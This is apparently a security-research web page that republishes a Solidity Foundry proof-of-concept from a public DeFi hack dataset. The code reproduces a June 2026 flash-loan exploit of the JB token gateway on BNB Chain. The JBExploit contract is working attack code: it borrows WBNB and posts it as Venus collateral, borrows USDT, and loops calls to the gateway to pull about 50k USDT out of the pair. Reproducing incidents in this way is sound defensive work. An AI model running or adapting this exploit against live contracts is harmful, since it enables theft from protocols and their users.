Skip to content
THREATWIRE

Public reproduction file

src/test/2026-06/JB_exp.sol

Public reproduction file for dataset entry JB.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-06/JB_exp.sol197 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "../basetest.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : 49958.06 USDT
8// Attacker : 0xd99e1abfc5dd5034d7ff63828d16c5e945d1b856
9// Attack Contract : 0xcc21c75f9e13054667663f9ed37f41e65b52dee7
10// Vulnerable Contract : 0x1b5732eb98911c25acf7bdfaffb9409782cae6d7
11// Attack Tx : https://bscscan.com/tx/0x54e120b8d62a9d7cef94bf51f1f5b8aa13565d76d8797a79afeeb25ed0e1dc25
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x1b5732eb98911c25acf7bdfaffb9409782cae6d7#code
16// @Analysis
17// Twitter Guy : https://x.com/audit_911/status/2067943961327763788
18//
19// The attacker flash-borrowed WBNB, used it as Venus collateral, borrowed 70M USDT, and fed the USDT into
20// the unverified JB helper. Repeated JB helper cycles used the live JB balance to sell/burn/sync through the
21// JB/USDT pair, releasing USDT from the pair. Venus was repaid and the remaining USDT was forwarded as profit.
23address constant ATTACKER = 0xD99E1aBfC5dd5034D7FF63828D16c5E945D1b856;
24address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
25address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
26address constant JB = 0xcF92E7eF4A63D52dc15F45A24f4F815f00f299a7;
27address constant FLASH_LENDER = 0x8F73b65B4caAf64FBA2aF91cC5D4a2A1318E5D8C;
28address constant VENUS_COMPTROLLER = 0xfD36E2c2a6789Db23113685031d7F16329158384;
29address constant V_WBNB = 0x6bCa74586218dB34cdB402295796b79663d816e9;
30address constant V_USDT = 0xfD5840Cd36d94D7229439859C0112a4185BC0255;
31address constant JB_GATEWAY = 0x1B5732Eb98911c25acf7bDfAffB9409782CAE6d7;
32address constant JB_USDT_PAIR = 0x43932cbb49c363F68655b5Ad2950ED4630CB49F8;
33address constant JB_AUTH_HELPER = 0x94741df7BF9dB91B172A4E195E9BeA79Ce3726cD;
35interface IFlashLender {
36 function flashLoan(
37 address token,
38 uint256 amount,
39 bytes calldata data
40 ) external;
43interface IVenusComptroller {
44 function enterMarkets(
45 address[] calldata vTokens
46 ) external returns (uint256[] memory);
49interface IVToken {
50 function mint(
51 uint256 mintAmount
52 ) external returns (uint256);
53 function borrow(
54 uint256 borrowAmount
55 ) external returns (uint256);
56 function repayBorrow(
57 uint256 repayAmount
58 ) external returns (uint256);
59 function redeemUnderlying(
60 uint256 redeemAmount
61 ) external returns (uint256);
64interface IJBAuthHelper {
65 function owner() external view returns (address);
67 function parent(
68 address account
69 ) external view returns (address);
71 function transferOwnership(
72 address newOwner
73 ) external;
75 function bindReferrer(
76 address referrer
77 ) external;
80contract ContractTest is BaseTestWithBalanceLog {
81 function setUp() public {
82 uint256 forkBlock = 104_980_466;
83 vm.createSelectFork("bsc", forkBlock);
85 fundingToken = USDT_TOKEN;
86 attacker = ATTACKER;
88 vm.label(ATTACKER, "Attacker");
89 vm.label(WBNB_TOKEN, "WBNB");
90 vm.label(USDT_TOKEN, "USDT");
91 vm.label(JB, "JB");
92 vm.label(FLASH_LENDER, "Flash Lender");
93 vm.label(VENUS_COMPTROLLER, "Venus Comptroller");
94 vm.label(V_WBNB, "vWBNB");
95 vm.label(V_USDT, "vUSDT");
96 vm.label(JB_GATEWAY, "JB Gateway");
97 vm.label(JB_USDT_PAIR, "JB/USDT Pair");
98 vm.label(JB_AUTH_HELPER, "JB Auth Helper");
99 }
101 function testExploit() public balanceLog {
102 uint256 attackerBalanceBefore = IERC20(USDT_TOKEN).balanceOf(ATTACKER);
103 JBExploit exploit = new JBExploit();
105 address helperOwner = IJBAuthHelper(JB_AUTH_HELPER).owner();
107 // Harness setup: make the fresh PoC contract the JB_AUTH_HELPER owner/admin.
108 vm.prank(helperOwner);
109 IJBAuthHelper(JB_AUTH_HELPER).transferOwnership(address(exploit));
110 assertEq(IJBAuthHelper(JB_AUTH_HELPER).owner(), address(exploit), "helper owner");
112 // The gateway still checks parent(address(exploit)); the helper rejects self-referrers,
113 // so bind the fresh owner/admin to the previous non-self referrer root.
114 vm.prank(address(exploit));
115 IJBAuthHelper(JB_AUTH_HELPER).bindReferrer(helperOwner);
116 assertEq(IJBAuthHelper(JB_AUTH_HELPER).parent(address(exploit)), helperOwner, "helper parent");
118 vm.prank(ATTACKER);
119 exploit.run();
121 uint256 profit = IERC20(USDT_TOKEN).balanceOf(ATTACKER) - attackerBalanceBefore;
122 assertGt(profit, 40_000 ether, "USDT profit");
123 }
126contract JBExploit {
127 bytes4 private constant FLASH_CALLBACK_SELECTOR = 0x13a1a562;
128 bytes4 private constant JB_BOOTSTRAP_SELECTOR = 0xd680aabd;
129 bytes4 private constant JB_CYCLE_SELECTOR = 0x53a9fcbc;
131 fallback() external payable {
132 require(msg.sig == FLASH_CALLBACK_SELECTOR, "unexpected callback");
134 (uint256 amount, bytes memory data) = abi.decode(msg.data[4:], (uint256, bytes));
135 (address jb, address pair, address gateway) = abi.decode(data, (address, address, address));
136 require(jb == JB && pair == JB_USDT_PAIR && gateway == JB_GATEWAY, "bad callback data");
138 executeFlashLoan(amount);
139 }
141 function run() external {
142 uint256 flashLoanAmount = IERC20(WBNB_TOKEN).balanceOf(FLASH_LENDER);
144 IERC20(WBNB_TOKEN).approve(FLASH_LENDER, type(uint256).max);
145 // step 1: flash-borrow WBNB from the lender.
146 IFlashLender(FLASH_LENDER).flashLoan(WBNB_TOKEN, flashLoanAmount, abi.encode(JB, JB_USDT_PAIR, JB_GATEWAY));
148 uint256 profit = IERC20(USDT_TOKEN).balanceOf(address(this));
149 IERC20(USDT_TOKEN).transfer(msg.sender, profit);
150 }
152 function executeFlashLoan(
153 uint256 flashLoanAmount
154 ) private {
155 // step 2: use the flash-borrowed WBNB as Venus collateral.
156 IERC20(WBNB_TOKEN).approve(V_WBNB, flashLoanAmount);
158 address[] memory markets = new address[](1);
159 markets[0] = V_WBNB;
160 IVenusComptroller(VENUS_COMPTROLLER).enterMarkets(markets);
162 require(IVToken(V_WBNB).mint(flashLoanAmount) == 0, "vWBNB mint failed");
164 // step 3: borrow the clean USDT amount used by the attacker.
165 uint256 borrowAmount = 70_000_000 ether;
166 require(IVToken(V_USDT).borrow(borrowAmount) == 0, "vUSDT borrow failed");
168 IERC20(USDT_TOKEN).approve(JB_GATEWAY, type(uint256).max);
169 IERC20(JB).approve(JB_GATEWAY, type(uint256).max);
171 // step 4: seed the JB cycle through the unverified helper selector 0xd680aabd.
172 callJBGateway(JB_BOOTSTRAP_SELECTOR, borrowAmount);
174 // step 5: repeat the partial-balance cycle, then pass the remaining JB balance.
175 for (uint256 i = 0; i < 15; i++) {
176 uint256 cycleAmount = IERC20(JB).balanceOf(address(this)) / 50;
177 callJBGateway(JB_CYCLE_SELECTOR, cycleAmount);
178 }
179 callJBGateway(JB_CYCLE_SELECTOR, IERC20(JB).balanceOf(address(this)));
181 // step 6: repay Venus, redeem WBNB, and leave WBNB approval for the flash lender pull.
182 IERC20(USDT_TOKEN).approve(V_USDT, borrowAmount);
183 require(IVToken(V_USDT).repayBorrow(borrowAmount) == 0, "vUSDT repay failed");
184 require(IVToken(V_WBNB).redeemUnderlying(flashLoanAmount) == 0, "vWBNB redeem failed");
185 IERC20(WBNB_TOKEN).approve(FLASH_LENDER, flashLoanAmount);
186 }
188 function callJBGateway(
189 bytes4 selector,
190 uint256 amount
191 ) private returns (uint256 result) {
192 (bool success, bytes memory returnData) =
193 JB_GATEWAY.call(abi.encodeWithSelector(selector, amount, uint256(0), 1 ether));
194 require(success, "JB gateway call failed");
195 result = abi.decode(returnData, (uint256));
196 }

Analysis

Dataset entry

Public Foundry test for “JB” (2026-06-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xd99e1abfc5dd5034d7ff63828d16c5e945d1b856

  • Attack Contract

    0xcc21c75f9e13054667663f9ed37f41e65b52dee7

  • Vulnerable Contract

    0x1b5732eb98911c25acf7bdfaffb9409782cae6d7

  • Attack Tx

    0x54e120b8d62a9d7cef94bf51f1f5b8aa13565d76d8797a79afeeb25ed0e1dc25

File record

Name
JB
Path
src/test/2026-06/JB_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
abdbb92744fb4058a4e565fdcb7ae115fb4c82b2
Language
Solidity
Size
198 lines
Date
2026-06-18
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-06/JB_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob abdbb92744fb4058a4e565fdcb7ae115fb4c82b2, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.